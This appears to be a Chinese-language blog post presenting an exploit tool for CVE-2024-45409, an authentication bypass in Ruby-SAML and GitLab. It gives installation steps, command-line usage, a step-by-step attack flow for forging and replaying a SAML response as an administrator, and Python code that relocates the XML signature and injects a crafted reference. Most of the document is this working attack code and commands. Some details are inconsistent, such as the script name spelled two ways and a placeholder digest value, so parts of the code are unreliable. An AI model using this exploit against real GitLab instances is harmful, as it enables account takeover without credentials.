Ruby-SAML/GitLab 认证绕过漏洞利用工具 (CVE-2024-45409)

2 阅读4分钟

CVE-2024-45409 漏洞利用工具

该项目提供了一个针对 Ruby-SAML 库及 GitLab 认证绕过漏洞(CVE-2024-45409)的完整利用脚本。通过操纵已签名的SAML响应文档,攻击者可以伪造任意用户的断言,从而在无需凭证的情况下获得对受影响GitLab实例的访问权限。

功能特性

  • SAML响应解析:自动解析Base64编码或原始XML格式的SAML响应文档
  • 签名重定位:将原始响应中的XML签名移动到断言内部,保持签名验证的有效性
  • 身份伪造:修改断言中的NameID字段,指定任意目标用户名(如管理员账号)
  • 恶意引用注入:在StatusDetail元素中注入特制的DigestValue,绕过完整性校验
  • 自动编码处理:支持输入自动解码和输出Base64编码,方便直接替换HTTP请求参数
  • 时间条件修补:自动调整断言的NotBeforeNotOnOrAfter时间戳,确保断言有效
  • 唯一ID生成:为响应和断言生成符合规范的唯一标识符

安装指南

系统要求

  • Python 3.6+
  • Linux/Unix/macOS(支持标准Python环境)

依赖安装

# 安装lxml库(XML处理)
pip install lxml

# 或在Debian/Ubuntu系统上使用apt
apt install python3-lxml

获取脚本

直接将CVE_2024_45409.py脚本下载到本地即可使用,无需额外配置。

使用说明

基础用法

python3 CVE_2024_45409.py -r <SAML响应文件> -n <目标用户名> [选项]

命令行参数

参数说明
-r, --response-fileSAML响应文件路径(支持Base64或原始XML)
-n, --name-id要伪造的目标用户名(如admin@example.com
-o, --output-file输出文件路径(默认:response.patched
-d, --decode-input输入文件为Base64编码,自动解码
-e, --encode-output输出文件进行Base64编码
-p, --id-prefix生成的ID前缀(默认:_

典型攻击流程

  1. 拦截SAML响应

    POST /users/auth/saml/callback HTTP/1.1
    Host: gitlab.target.com
    Cookie: ...
    
    SAMLResponse=PHNhbWxwOlJlc3BvbnNl...
    
  2. 利用脚本修改响应

    python3 CVE_2024-45409.py -r saml_response.b64 -d -e -o malicious_response.b64 -n admin@target.com
    
  3. 替换并重放攻击 将输出的malicious_response.b64内容替换原SAMLResponse参数值,重新发送请求。

  4. 成功认证 服务器返回302重定向至GitLab首页,表示已成功以目标用户身份登录。

输出示例

[+] Parse response
    Digest algorithm: sha256
    Canonicalization Method: http://www.w3.org/2001/10/xml-exc-c14n#
[+] Move signature in assertion
[+] Patch response ID
[+] Insert malicious reference
[+] Write patched file in response_patched.url_base64

核心代码

漏洞利用主流程

class CVE_2024_45409:
    def exploit(self) -> None:
        """执行完整的漏洞利用流程"""
        print("[+] Parse response", file=stderr)
        self._parse()
        self._move_signature_in_assertion()
        print("[+] Patch response ID", file=stderr)
        self._response_document.attrib["ID"] = self._generate_unique_id()
        print("[+] Insert malicious reference", file=stderr)
        self._insert_malicious_reference()
        print(f"[+] Write patched file in {self._output_file_path}", file=stderr)
        self._write_output()

签名移动与恶意引用注入

def _move_signature_in_assertion(self) -> None:
    """将原始响应中的签名移动到断言内部"""
    # 克隆原始签名节点
    new_signature = copy.deepcopy(self._signature)
    # 移除原始签名位置
    self._signature.getparent().remove(self._signature)
    # 将签名插入到断言最后一个子元素之后
    self._original_assertion.append(new_signature)
    self._signature = new_signature

def _insert_malicious_reference(self) -> None:
    """在StatusDetail中注入恶意的DigestValue引用"""
    # 创建SignedInfo副本
    signed_info = self._signature.find(".//ds:SignedInfo", namespaces=NAMESPACES)
    new_signed_info = copy.deepcopy(signed_info)
    
    # 构造恶意的Reference URI指向断言ID
    new_reference = etree.SubElement(new_signed_info, "{http://www.w3.org/2000/09/xmldsig#}Reference")
    new_reference.set("URI", f"#{self._original_assertion.attrib['ID']}")
    
    # 设置DigestMethod和DigestValue
    digest_method = etree.SubElement(new_reference, "{http://www.w3.org/2000/09/xmldsig#}DigestMethod")
    digest_method.set("Algorithm", self._digest_algorithm)
    digest_value = etree.SubElement(new_reference, "{http://www.w3.org/2000/09/xmldsig#}DigestValue")
    digest_value.text = "malicious_digest"
    
    # 注入到StatusDetail中实现绕过
    status_detail = self._response_document.find(".//samlp:StatusDetail", namespaces=NAMESPACES)
    if status_detail is None:
        status_detail = etree.SubElement(
            self._response_document.find(".//samlp:Status", namespaces=NAMESPACES),
            "{urn:oasis:names:tc:SAML:2.0:protocol}StatusDetail"
        )
    status_detail.append(new_signed_info)

响应解析与时间修补

def _parse(self) -> None:
    """解析SAML响应并提取关键元素"""
    # 读取并解码响应
    with open(self._response_file, "rb") as f:
        self._raw_response = f.read()
    
    if self._decode_input:
        self._raw_response = b64decode(self._raw_response)
    
    # 解析XML
    self._response_document = etree.fromstring(self._raw_response)
    
    # 提取签名元素
    self._signature = self._response_document.find(".//ds:Signature", namespaces=NAMESPACES)
    
    # 提取原始断言并修补时间条件
    self._original_assertion = self._response_document.find(".//saml:Assertion", namespaces=NAMESPACES)
    self._patch_assertion_conditions()
    self._patch_name_id()

def _patch_assertion_conditions(self) -> None:
    """修改断言的有效时间窗口和受众限制"""
    conditions = self._original_assertion.find(".//saml:Conditions", namespaces=NAMESPACES)
    now = datetime.now(UTC)
    conditions.set("NotBefore", (now - timedelta(minutes=5)).isoformat())
    conditions.set("NotOnOrAfter", (now + timedelta(hours=1)).isoformat())

辅助编码函数

def encode_response(self, data: bytes) -> str:
    """对输出响应进行Base64 URL安全编码"""
    if self._encode_output:
        return b64encode(data).decode()
    return data.decode()

def decode_response(self, data: str) -> bytes:
    """解码Base64 URL安全格式的输入"""
    return b64decode(data)

def _generate_unique_id(self) -> str:
    """生成符合SAML规范的唯一标识符"""
    return f"{self._id_prefix}{uuid4().hex}"

6HFtX5dABrKlqXeO5PUv/0UqUNUOgQs30FW3eyiKiCI=